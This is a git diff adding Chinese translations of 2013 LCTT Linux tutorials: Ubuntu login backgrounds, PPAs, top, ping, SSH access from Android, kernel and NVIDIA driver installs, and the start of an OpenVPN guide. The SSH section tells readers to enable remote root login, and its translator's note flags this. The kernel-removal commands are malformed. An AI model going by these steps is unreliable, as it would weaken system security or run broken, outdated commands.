+在设置完自定义图片并且重启后,每次启动电脑时你就应该能看到你设置的图片。若设置的图片是一张你非常喜欢的并且能给你带给你很多回忆的图片,那么你每次启动电脑登陆到Ubuntu时一定非常开心。 + +这个手册假设你已经在你的电脑上安装了dconf-editor。若没有,你可以运行以下命令来安装dconf-editor + + sudo apt-get install dconf-editor + +下一步,选择你要作为登陆背景的图片。然后,记下图片的位置以及图片的名字,运行以下命令切换到root用户。 + + sudo –i + +下一步,运行以下命令给予lightdm用户访问X-server的权限。Lightdm是一个管理登陆窗口背景的服务程序,因此假如你要更换登陆窗口的背景图片,你就要修改lightdm用户。 + + xhost +SI:localuser:lightdm + +下一步,运行以下命令切换到lightdm用户 + + su lightdm -s /bin/bash + +然后,运行以下命令开启dconf-editor + + dconf-editor + +当工具打开后,浏览到 **com->canonical->unity-greeter**。然后改变背景值为自定义的图盘。你可能需要勾掉draw-grid。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/logon-screen-background.png) + + +重启电脑,尽情享受~ + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/logon-screen-background-1.png) + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tipschange-logon-screen-background/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Caroline](https://github.com/carolinewuyan) diff --git "a/published/201311/Daily Ubuntu Tips\342\200\223Update To LibreOffice Latest In Ubuntu Via PPA.md" "b/published/201311/Daily Ubuntu Tips\342\200\223Update To LibreOffice Latest In Ubuntu Via PPA.md" new file mode 100644 index 0000000000..0399cda887 --- /dev/null +++ "b/published/201311/Daily Ubuntu Tips\342\200\223Update To LibreOffice Latest In Ubuntu Via PPA.md" @@ -0,0 +1,35 @@ +Ubuntu每日小技巧:通过PPA升级你的LibreOffice +================================================================================ +对于每一个你新安装的Ubuntu系统,你都会拥有一个可以让你办公的办公工具——LibreOffice。很多人都知道微软公司的的Word、Excel、PowerPoint和Outlook,但是很少有人知道LibreOffice。 + +LibreOffice靠来自全世界的志愿者来维护,由一个慈善基金会支持。它是Linux社区的一款主要的免费办公工具。它可以安装在Windows,Mac OS X和Linux等系统的计算机上。 + +就在5天前(译注:好吧,这个翻译稿拖了5天了~~,原文为“今天”。),一个新的版本将面向公众开放了。Windows,Mac OS X和Linux用户可以直接从下载页面下载最新版本了。 + +Ubuntu用户拥有添加LibreOffice软件仓库到自己的电脑来安装升级最新版的优势。如果你想要在最新版本可用时最快的得到它,这种方法将会很有用。 + +最新的LibreOffice套装版本是4.1。每一个后续的版本可以立即在4.1的仓库中找到,直到新的主线版本比如4.2的推出。 + +所以,为了在Ubuntu中自动的升级,请添加下面的软件仓库地址。 + + sudo add-apt-repository ppa:libreoffice/ppa + +接着,运行如下命令来升级最新的LibreOffice。 + + sudo apt-get update && sudo apt-get dist-upgrade + +这样就好了。当你添加上面的仓库然后升级系统,Ubuntu将会自动的下载安装最新的LibreOffice版本。 + +Windows和Mac OS X用户可以直接在程序套件中升级或者直接从网页中下载。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/libreoffice-upgrade-ubuntu.png) + +Enjoy! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsupdate-to-libreoffice-latest-in-ubuntu-via-ppa/ + +译者:[SCUSJS](https://github.com/scusjs) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201311/Deciphering Top.md b/published/201311/Deciphering Top.md new file mode 100644 index 0000000000..0d2a7072f3 --- /dev/null +++ b/published/201311/Deciphering Top.md @@ -0,0 +1,33 @@ +解密"top"命令 +================================================================================ + +当对服务器的性能好奇时,我第一个想到的是"top"命令。top不是最好的,它不是一个长期的快照,但是它提供了服务器的一个不错的时间点快照,并且试着提供了告诉"现在在发生什么?"。不幸地,如果你没有深入了解不同显示域的意义,top的输出很容易被误解。 + +我不会完整解读top命令的[man page][2],当你和时间和意愿时,它一直在那等着你。我想要做的是指出一些我如何得到系统的快速概况的几个要点,并希望得到我接下来该怎么做的指示。top是我在故障排除时的第一站,但这很少会是我唯一的一站。 + +[![](http://farm4.staticflickr.com/3827/10847969205_5005a709c2_o.png)][1] + +top命令我第一个看的是平均负载(load average),它在右上角的屏幕上。平均负载的计算是基于统计搜集到的数量,但是通常可以认为是CPU被请求工作的数量。如果你的机器有一个单核CPU,那么平均负载是1就意味着机器满载的,并且有足够的能力在采样时间内完成任务。同样地,如果平均负载是2,那对单核的CPU是超载的,并需要2个可用内核才能在同样的采样时间内完成的要求的任务。随着8、16、32核的发售,我会在判断平均负载的时候就要注意一下。比如我需要去检测时,我会在top里按了数字"1",这会列出所有CPU核列表,这样我就可以得到一个快速计数用于比较负载。 + +我检查的第二项是上面列出来的内容的第9列,标记着"%CPU"那个。对这一列的解释是很模糊的: + +> 任务所分享的上次屏幕刷新后的CPU运行时间,以全部的CPU时间百分比表示。在一个真正的SMP(多处理器)环境中,如果'Irix mode'是关闭的,top会在'Solaris mode'下运行,这里一个任务的cpu使用率将除以全部的CPU数量。你可以用'I'(大写字母I)这个交互命令触发Irix或Solaris模式。 + +一点也不清楚,是么?这里要记住的主要意思是,如果单个进程由于某个原因或者其他因素占用率升高,那么他很有可能会以%CPU很高的数字显示在top的第一行。 + +我下一个注意到的区域是"Cpu(s):"这一行,在头部信息的中间。特别地,我对%us、sy%、%id、和%wa感兴趣,它们分别是用户进程、系统进程、空闲时间和CPU用于等待I/O流执行的时间比例。这个百分比应该接近于0,高于5%时需要密切关注。 + +最后,我想要看看系统up时间,这显示在左上角。如果我对一台服务器有疑问,并且这台服务器最近重启过,这里可能会发现一些什么,或许是一个守护进程没有启动。 + +这些检查只需要几秒。如果我只是观察,我可能让top运行几分钟并观察进程、CPU和负载,但是通常地我很快地进入和退出top。top是给你一个系统健康概况的那些奇妙系统管理员工具之一,并允许你快速诊断潜在的问题。 + +-------------------------------------------------------------------------------- + +via: http://ostatic.com/blog/deciphering-top + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.flickr.com/photos/51724787@N06/10847969205/ +[2]:http://www.linuxmanpages.com/man1/top1.php \ No newline at end of file diff --git a/published/201311/Disable Amazon & Remote Content Fetching In Ubuntu 13.10.md b/published/201311/Disable Amazon & Remote Content Fetching In Ubuntu 13.10.md new file mode 100644 index 0000000000..96358bf9e5 --- /dev/null +++ b/published/201311/Disable Amazon & Remote Content Fetching In Ubuntu 13.10.md @@ -0,0 +1,34 @@ +禁用Ubuntu 13.10的Amazon及远程内容获取 +================================================================================ + +Ubuntu 13.10已经发布一段时间了,是时候坐下来配置一下系统来满足你的要求。Ubuntu 13.10配备了很多东西,当你安装或者升级时其实有些并不是你所需要的。 + +举个例子,当你安装或者升级到Ubuntu 13.10时,会自动启用Amazon和一些其他商业购物网站的功能。当你打开Unity Dash时这些Lens就会显示。当你在Dash处执行搜索时,类似Amazon的远程数据源中符合你搜索内容的选项也会发送过来。 + +这些由Canonical公司提供的新增特性可能对某些人有用,但是对另一些用户,这些特性可能是他们不需要的。 + +因为从远程数据源获取内容需要带宽,这就可能会对你的上网账单有负面影响,特别是当你住在一个根据流量计费的地域。 + +对于另一些对安全和隐私有担忧的用户来说,本地自动搜索远程源可能不是一个好主意。还有一些用户只是不想当他们在本地搜索时会有商业公司展示他们的产品。 + +这篇简单的教程就是教你当使用Ubuntu 13.10时如何快速禁用Amazon和所有远程内容获取。 + +在你的键盘上按组合键 **Ctrl – Alt – T** 显示终端。当它打开后运行下面的命令去禁用该功能。 + + gsettings set com.canonical.Unity.Lenses remote-content-search 'none' + +如果你想要重新启用它,运行以下命令。 + + gsettings set com.canonical.Unity.Lenses remote-content-search 'all' + +你需要重新登陆或者重启你的电脑使更改生效。在完成这些操作后,当你使用Ubuntu搜索时就没有远程源会被使用。 + +Enjoy! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/10/disable-amazon-remote-content-fetching-ubuntu-13-10/ + +译者:[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201311/Five Examples Of The ping Utility.md b/published/201311/Five Examples Of The ping Utility.md new file mode 100644 index 0000000000..5f52448106 --- /dev/null +++ b/published/201311/Five Examples Of The ping Utility.md @@ -0,0 +1,68 @@ +五个 ping 工具的使用实例 +================================================================================ + +### 什么是 ping 工具### + +在讲述一些关于ping工具真实直观的使用实例前,先让我来介绍一下这个命令行工具及其目的。ping工具通常用来测试一台主机在互联网协议(IP)网络内的可达性。其名字源于主动声纳法——在水下创建一个脉冲声音信号(ping)并侦听周围物体的返回信号。该方法同样生动描述了ping网络工具的工作原理。ping工具对一台主机发送回应请求然后等待ICMP响应。 + +实践中的ping工具的一些例子: + +### 查询主机的IP地址 ### + +有时候你需要得到某一台主机的IP地址,如图一。只需要键入ping命令后面跟上要查询的主机名。 + + ping www.omgubuntu.com + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping1.png) + +### 查询正在使用的ping工具的版本信息 ### + +用 -V 选项可以用来查询你手头上ping工具的版本信息。键入下列命令显示正在使用的ping工具的版本信息。 + + ping -V + +正如你从图二见到的,我正在使用的是“ping utility,iputils-sss20101006” + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping2.png) + +### 自动退出 ping ### + +当你用‘ping 主机’命令ping一台机器时,ping自己无法停止,你必需按下CTRL+C强行退出,或者你可以用 -c (count)选项指定发送包的数量。使用-c选项,当网络管理员(其实普通用户也可以)发送完指定数量的包之后,无需按CTRL+C,ping进程就会自动停止。 + + ping -c 13 127.0.0.1 + +上列的命令发送了13个包到我的本地主机上。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping3.png) + +正如你从图三看到的,我并没有按CTRL+C,而ping自动退出了。 + +### 指定数据包之间的时间间隔 ### + +你知道ping每秒钟发送一个数据包吗?你喜欢快一点还是慢一点?用 -i 选项能指定包之间的时间间隔。用下列命令快速发送或慢速发送包。 + +### 每0.13秒发送一个包 ### + + ping -i 0.13 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping4.png) + +### 每13秒发送一个包 ### + + ping -i 13 + +### 结合 -i 选项和 -c 选项 ### + + ping -c 13 -i 3 + +总共花费39秒发出13个数据包,数据包的时间间隔为三秒。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping6.png) + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/five-examples-ping-utility/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201311/Game-editor Leadwerks 3.1 demoed as running on Ubuntu with native look & feel.md b/published/201311/Game-editor Leadwerks 3.1 demoed as running on Ubuntu with native look & feel.md new file mode 100644 index 0000000000..247a0c053d --- /dev/null +++ b/published/201311/Game-editor Leadwerks 3.1 demoed as running on Ubuntu with native look & feel.md @@ -0,0 +1,23 @@ +可在Ubuntu上运行的游戏编辑器Leadwerks 3.1 +==================================== + +[Leadwerks][1]是一个多用途游戏开发应用,现在正在往Linux上移植以便于在Linux(Ubuntu)上开发原生游戏。 + +数月前,Leadwerks在kickstarter平台上发起了一个众筹项目,以便于集资给这个游戏创建工具增加Linux平台支持,项目目标包括成功达到预定的集资目标和放出leadwerks的beta版。 + +在它的官网上,Leadwerks的开发者[贴出了][2]一张有 **leadwerks 3.1** 运行在Ubuntu上的图片。图片显示,它有着原生的外观和感觉,而且和桌面进行了恰当的集成,这些成就明显的推动了仍在开发中的leadwerks在Ubuntu上的可用性。这是Leadwerks真正运行在Ubuntu上的第一张截图!尽管仍然还有许多工作要做,但是看到它确实已经可以运行在Ubuntu上了,无论怎样,这真的是一个**大的里程碑**。我们使用GTK,所以Leadwerks的Linux版的外观和使用的感受和Linux原生应用一样。 + +![](http://iloveubuntu.net/pictures_me/leadwerks%20running%20on%20ubuntu.jpg) + +伴随Leadwerks而来的特性有快速迭代(可通过导入先前代码,在代码水平和架构上构建),单一顶层设计的多种实现方式(无需额外的工具),以及软件使用当前主流标准(C++和Lua)构建 + +--- + +via: http://iloveubuntu.net/game-editor-leadwerks-31-demoed-running-ubuntu-native-look-feel + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.leadwerks.com/ +[2]:http://www.leadwerks.com/werkspace/page/gallery/_/leadwerks-31-editor-on-ubuntu-r251 \ No newline at end of file diff --git a/published/201311/How To Install Sublime Text 3 in Ubuntu 13.04, 13.10.md b/published/201311/How To Install Sublime Text 3 in Ubuntu 13.04, 13.10.md new file mode 100644 index 0000000000..f3660fc4d3 --- /dev/null +++ b/published/201311/How To Install Sublime Text 3 in Ubuntu 13.04, 13.10.md @@ -0,0 +1,28 @@ +如何在Ubuntu 13.04, 13.10上安装Sublime Text 3 +================================================================================ + +[Sublime Text][1]是一款很流行的源代码文本编辑器,托[Webupd8][2]团队的PPA仓库之福,我们现在能通过PPA安装Sublime Text 3,适用于ST的注册用户和未注册用户。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/sublime_text.png) + +### 安装Sublime Text 3 ### + +打开终端(Ctrl + Alt +T), 键入并运行下列命令: + + $ sudo add-apt-repository ppa:webupd8team/sublime-text-3 + $ sudo apt-get update + $ sudo apt-get install sublime-text-installer + + +玩的开心 ;-) + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-sublime-text-3-ubuntu-13-04-13-10/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.sublimetext.com/ +[2]:https://launchpad.net/~webupd8team diff --git a/published/201311/How to Control Your Linux PC with an Android Device.md b/published/201311/How to Control Your Linux PC with an Android Device.md new file mode 100644 index 0000000000..cf0c2765a1 --- /dev/null +++ b/published/201311/How to Control Your Linux PC with an Android Device.md @@ -0,0 +1,65 @@ +如何使用安卓设备控制你的Linux PC +================================================================================ +**下面的教程会指导所有的Linux用户如何在系统上安装SSH,以便通过安卓智能手机远程访问他们的电脑。** + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Control-Your-Linux-PC-with-an-Android-Device-396004-2.jpg) +如今我们所有人都拥有一台平板或触屏手机,我们经常使用它们在深夜里看电影或电视节目,听歌或者读一本好书。你可以把本文称作是“懒人教程”,它是专门为那些在大晚上因为太过疲惫而懒得去开启他们电脑上的某些应用程序,移动、删除,复制或重命名某些文件,甚至懒得去关掉PC的人准备的。 + +的确,已经有各种各样的远程桌面解决方案,但是许多方案费用很高,或者实现效果很糟糕,无法像预期一样运行,迫使你最终还是得去电脑上做你原本想做的事情。 + +在这个教程里面,我们将使用一种简单、安全、高效的协议,它被称为SSH (Secure Shell),很容易从默认的软件仓库中安装(在Arch linx中是openssh,在Ubuntu中是openssh-server)。 + +### 配置SSH服务器 ### + +在安装完成后,你需要为SSH服务器进行基本配置。为此,你需要使用文本编辑器编辑/etc/ssh/sshd_config这个文件。 + +1.在文件尾部添加下面一行(下面的yourusername使用你的Linux机器上存在的用户名代替) + +AllowUsers yourusername + +2.取消"#PermitRootLogin"这行注释,把"no"替换成"yes"(译注:下面的选项修改和是否允许ssh登录无关,只是允许root直接登录,一般而言,并不建议如下这样的远程root直接登录。): + + PermitRootLogin no + +3.为了安全起见,你需要修改SSH 连接默认的22端口到一个更大编号的端口,譬如在我们的例子中是55441 +(但不要使用55441,这是我举个列子,可以找另一个四位或者五位数字)。因此,取消注释并编辑"#Port 22"如下(译注:你可以选择任何一个大于1024并小于65535的端口,只要他没有被别的程序占用,为什么不试试你的幸运数字呢?): + + Port 55441 + +### 开启SSH服务器### + +在Ubuntu上,SSH服务通过下面的命令启动: + + sudo /etc/init.d/ssh start + +当你每次修改上述配置文件时,都需要通过下面的命令重启: + + sudo /etc/init.d/ssh restart + +在Arch Linux上,你可以使用下面的命令启动SSH服务: + + sudo systemctl start sshd + +### 配置安卓设备上的SSH客户端### + +JuiceSSH似乎是安卓上最好的SSH客户端之一,而且是免费的。同时,如果你认为它的功能比较简单,可以花费少量的钱来得到更多高级的特性,譬如亚马逊 AWS/EC2 集成,团队协作,以及更多其它的特性。 + +一旦软件安装完毕,开启它,然后你会要求输入一个加密的密码以保证连接的安全。这个密码由AES-256进行加密,因此除非你的设备被偷,否则没有人能够获取它们。 + +![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/sshlinuxandroid-large_001.jpg) + +现在,添加一个新连接,为你的电脑选择名称、IP地址,上面设定的端口号以及一个需要被创建的身份。 + +![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/sshlinuxandroid-large_002.jpg) + +![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/sshlinuxandroid-large_003.jpg) + +这就是我的Arch Linux机器,这是通过我的安卓平板上的JuiceSSH客户端访问到的界面。如果在这个教程中你遇到问题,请在下面进行评论。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/How-to-Control-Your-Linux-PC-with-an-Android-Device-396004.shtml + +译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201311/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md b/published/201311/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md new file mode 100644 index 0000000000..f780068ef4 --- /dev/null +++ b/published/201311/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md @@ -0,0 +1,41 @@ +如何在Ubuntu 13.10上安装Linux内核 3.12 +================================================================================ + +**Ubuntu 13.10 的用户不必再用羡慕的眼神看着新版Linux内核发布,他们也可以相对轻松地更新他们的系统。** + +Canonical公司一贯的做法是,在整个开发周期中始终使用一个Linux内核。例如,Ubuntu 13.10始终基于Linux内核 3.11,但现在已经推出一个新的稳定的Linux内核3.12。 + +Ubuntu用户只有等到14.04 LTS发布以后,才能得到一个较新版本的Linux内核,但到那之前他们也可以选择安装新的版本。 + +不过,我们必须从一开始就提醒你。Canonical不建议你更新官方渠道以外的Linux内核版本。这不是一个完全安全的过程,你以后可能会遇到问题,甚至系统故障。但另一方面,你的系统性能可能会得到提升。 + +你将要下载的内核来自Canonical公司,这意味着它已经在.deb格式。你不需要再自己编译。打开一个终端,导航到Downloads文件夹,输入以下命令: + + wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12-saucy/linux-image-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb + + wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12-saucy/linux-headers-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb + +如果你有一个32位的操作系统,你也可以下载32位版本。可见只需替换链接中的64bit为32bit即可,[点此下载][1]. + +现在,你将像运行任何其它程序一样运行这些.deb文件。在你下载软件包的同一个终端,输入下面的命令(你需要root权限才能正常运行): + + sudo dpkg -i linux-image-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb + sudo dpkg -i linux-headers-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb + +此过程结束后,你需要重启系统。瞧,新版本的Linux内核更新成功。好消息是,旧版本内核仍然存在,如果你要删除3.12版的内核,只需使用众所周知命令。 + + sudo apt-get purge linux-image-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb + sudo apt-get linux-headers-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb + +记住,以上所示的文件名变化很快。如果无法下载,请更新新的链接。 +开始享受Linux 3.12内核吧! + +-------------------------------------------------------------------------------- + +来源于: http://news.softpedia.com/news/How-to-Install-Linux-Kerrnel-3-12-in-Ubuntu-13-10-397013.shtml + +译者:[coolpigs](https://github.com/coolpigs) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12-saucy/ diff --git a/published/201311/How to Install Ubuntu Touch 13.10 on Your Phone.md b/published/201311/How to Install Ubuntu Touch 13.10 on Your Phone.md new file mode 100644 index 0000000000..77a4cb0f9d --- /dev/null +++ b/published/201311/How to Install Ubuntu Touch 13.10 on Your Phone.md @@ -0,0 +1,43 @@ +如何在手机上安装Ubuntu Touch 13.10 +================================================================================ +**Ubuntu Touch 13.10是Canonical公司针对手机新推出的一款操作系统,但是相对于桌面而言,它安装到手机并不是那么容易。** + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Install-Ubuntu-Touch-13-10-On-Your-Phone-392828-2.jpg) + +Canonical提供了安装Ubuntu Touch 13.10所有必要的工具。这真是个好消息,因为手动安装操作系统可是相当麻烦的。 + +首先提醒,此操作系统并非任何手机都能使用。因开发原因,Canonical限制其只能使用在Nexus 4设备上(代号金枪鱼和灰鲭鲨) ,而且手机必须已被解锁。 + +要安装工具,你将需要在终端输入几个简单的命令: + + sudo add-apt-repository ppa:phablet-team/tools + sudo apt-get update + sudo apt-get install phablet-tools android-tools-adb android-tools-fastboot + +用户还必须确保他们的手机已被设置成开发使用。进入“设置项/关于手机”,点击“软件版本”7次。如果你操作正确,将会收到一条提示消息。 + +你必须从新菜单——“开发者选项”中启用USB调试,该菜单通过前面的方法已被解锁。在手机上勾选该选项时,会出现一条消息,通知用户正在配对。同意,那么你准备得差不多了。 + +在开始安装前的最后一步是备份你的Android系统。同样使用adb工具。只要打开终端,输入以下命令: + + adb backup -apk -shared -all + +如果你要重新安装原来的Android系统,打开一个终端,运行以下命令: + + adb restore backup.ab + +最后的命令至关重要,你应该使用sudo运行,以确保正确执行该命令。打开一个终端,输入以下命令: + + sudo phablet-flash ubuntu-system --no-backup + +运行过程中应该没有任何问题,设备将最终引导到Ubuntu Touch。不要停止终端也不要中断此过程。 + +以上就是你需要遵照的简单步骤,这样,在所支持的设备上运作应该没有任何问题了。 + +-------------------------------------------------------------------------------- + +来源于: http://news.softpedia.com/news/How-to-Install-Ubuntu-Touch-13-10-On-Your-Phone-392828.shtml + +译者:[coolpigs](https://github.com/coolpigs) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201311/How to Install the Latest NVIDIA 331.20 Driver in Ubuntu 13.10.md b/published/201311/How to Install the Latest NVIDIA 331.20 Driver in Ubuntu 13.10.md new file mode 100644 index 0000000000..f20a0790c5 --- /dev/null +++ b/published/201311/How to Install the Latest NVIDIA 331.20 Driver in Ubuntu 13.10.md @@ -0,0 +1,54 @@ +如何在Ubuntu13.10中安装最新版的NVIDIA 331.20驱动 +=== + +**有时候安装新版本的NVIDIA驱动会遇到一些麻烦,尤其是当你不习惯Linux系统中的运作方式时。** + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Install-the-Latest-NVIDIA-331-20-Drivers-in-Ubuntu-13-10-399182-2.jpg) + +这时候,这篇教程就能起到作用了,它能帮助普通用户从最新版的NVIDIA驱动331.20中获益。 + +在Ubuntu系统中有两种方法安装NVIDIA驱动,一种是简单方法,另一种是困难方法。简单方法也是最为直截了当的,但是需要你能够连接网络。这种方法也会把你带入PPA的美妙世界中去。 + +Ubuntu 13.10像它的前辈们一样,有一个很大的软件仓库可供使用,但是Canonical的开发者们由于种种考虑并不上传最新版的驱动。最重要的是他们不会冒险去上传一款未被证明其稳定性的软件。 + +幸运的是,我们有PPA可供使用,PPA中有最新版的驱动程序可供使用,而且里面的驱动会在官方放出新驱动一两天后就添加进去。只需在终端中敲入一下命令即可(当然你需要拥有root权限): + + sudo add-apt-repository ppa:xorg-edgers/ppa + sudo apt-get update + sudo apt-get install nvidia-331 + +假如你已经安装了一个旧版本的驱动,你需要用**sudo apt-get dist-upgrade**命令替换上面命令中的最后一条命令。 + +完成这些步骤之后重启你的电脑,新驱动就安装好了。在下一次NVIDIA更新驱动时,你只需更新系统就可以,无需添加PPA。 + +第二种方法有点复杂,但是你可以不用联网(你需要先把驱动下载下来,在安装的时候不再需要联网)。我们将使用64位版本的驱动最为例子讲解。 + +你必须按Ctrl+Alt+F1组合键进入真正的终端(译注:原文中为虚拟终端,但实际上按这个组合键进入的是真正的终端),然后使用用户名和密码登录。接下俩,你需要用cd命令进入你放置驱动的位置(例如Downloads目录)然后输入以下命令: + + sudo service lightdm stop + sudo chmod a+x NVIDIA-Linux-x86_64-331.20.run + sudo ./NVIDIA-Linux-x86_64-331.20.run + sudo reboot + +这样就搞定了。无论你选择使用什么方法,享受最新版的NVIDIA驱动吧。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/How-to-Install-the-Latest-NVIDIA-331-20-Drivers-in-Ubuntu-13-10-399182.shtml + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]: +[2]: +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: diff --git a/published/201311/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 1.md b/published/201311/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 1.md new file mode 100644 index 0000000000..344b7944bf --- /dev/null +++ b/published/201311/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 1.md @@ -0,0 +1,110 @@ +Linux上如何通过 OpenVPN 建立安全的远程连接【上】 +================================================================================ + +一直以来,我们在互联网上传输信息时,都谨慎地为这些信息加密,以防内容泄露出去,特别是在政府的干预下,为网络上每个字节都进行加密已经变得空前重要了。在这种情况下,OpenVPN 是保障网络信息安全的首选。今天我们就来学习一下如何架设 OpenVPN,使你可以在任何场所都能安全地访问家里的服务器。 + +VPN 小贴士:很多商业的 VPN 根本不值它们的售价,它们的安全性只比通过 SSL 保护的网站高一点点,原因是它们信任所有客户端。一个真正意义上的 VPN 用于在非可信网络上连接两个可信的终端。用户不能随便找一台 PC 机就能登录进 VPN,因为你的 VPN 如果能被一台受到病毒感染的 PC 登录进来,不管它们建立的连接有多么安全,都不是一件好事情。所以你必须在你的客户端和服务器端都要好好地配置一下 VPN 服务。 + +### OpenVPN 快速入门 ### + +你需要两台不同子网下的计算机,比如同一网络内一台使用网线的 PC 和一台使用无线 的 PC(或者是 VitualBox 虚拟机上的多台Linux客户机),并且你要知道它们的 IP 地址。这里分别为这两台计算机命名为“Studio”和“Shop”,都给它们装上 OpenVPN。OpenVPN 支持大多数 Linux 发行版,所以你只要用你手头的安装包管理软件就行。本文的包管理器是 Debian、Ubuntu 以及它们的衍生版中使用的 apt-get,下面安装 OpenVPN: + + $ sudo apt-get install openvpn openvpn-blacklist + +上面的步骤安装了 OpenVPN 服务器和一个用于检查外泄密钥黑名单的程序。请务必安装这个黑名单检查器,因为有一次 Debian 发布了一个[有漏洞的 OpenSSL 软件][1],这个软件里的随机码生成器会产生不可信任的密钥 —— 产生的这些密钥不是真正的随机数,它们可以被预测到。这件事发生在2008年,当时所有使用了这个软件的人都需要替换掉他们的弱密钥。即使5年过去了,我们还是建议使用这个黑名单检查器。 + +现在让我们测试下,先为两台 PC 创建一个不加密的通道。首先互 ping 一下确保它们能连通,然后让 OpenVPN 处于关闭状态(我们会在后面手动启动它): + + $ ps ax|grep openvpn + +如果 openvpn 这个后台进程存在,那就 kill 了它。这里假设“Studio”这台 PC 的 IP 是192.168.1.125,“Shop”的 IP 是192.168.2.125。 + +现在在“Studio”端开启一个未加密的连接到“Shop”端: + + $ sudo openvpn --remote 192.168.2.125 --dev tun0 --ifconfig 10.0.0.1 10.0.0.2 + +然后再开一个从“Shop”到“Studio”的连接: + + $ sudo openvpn --remote 192.168.1.125 --dev tun0 --ifconfig 10.0.0.2 10.0.0.1 + +连接成功的话你会看到类似下面的信息: + + Wed Oct 16 2013 ******* WARNING *******: all encryption and authentication + features disabled -- all data will be tunnelled as cleartext + Wed Oct 16 2013 TUN/TAP device tun0 opened + Wed Oct 16 2013 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0 + Wed Oct 16 2013 /sbin/ifconfig tun0 10.0.0.1 pointopoint 10.0.0.2 mtu 1500 + Wed Oct 16 2013 UDPv4 link local (bound): [undef] + Wed Oct 16 2013 UDPv4 link remote: [AF_INET]192.168.2.125:1194 + Wed Oct 16 2013 Peer Connection Initiated with [AF_INET]192.168.2.125:1194 + Wed Oct 16 2013 Initialization Sequence Completed + +看到“**Initialization Sequence Completed**”这句话时,说明你的操作成功了。这时你应该能够 ping 通两个隧道的 IP:ping 10.0.0.1 和 ping 10.0.0.2。当你建立隧道的时候,你无需在意你所在的网络,你可以为你的隧道指定任何 IP 地址。关闭隧道请按 Ctrl+c。 + +现在你可以利用这个隧道打开一个 SSH 会话了。图1显示了通过 VPN 隧道登录 SSH 的例子,这个图也显示了有趣的 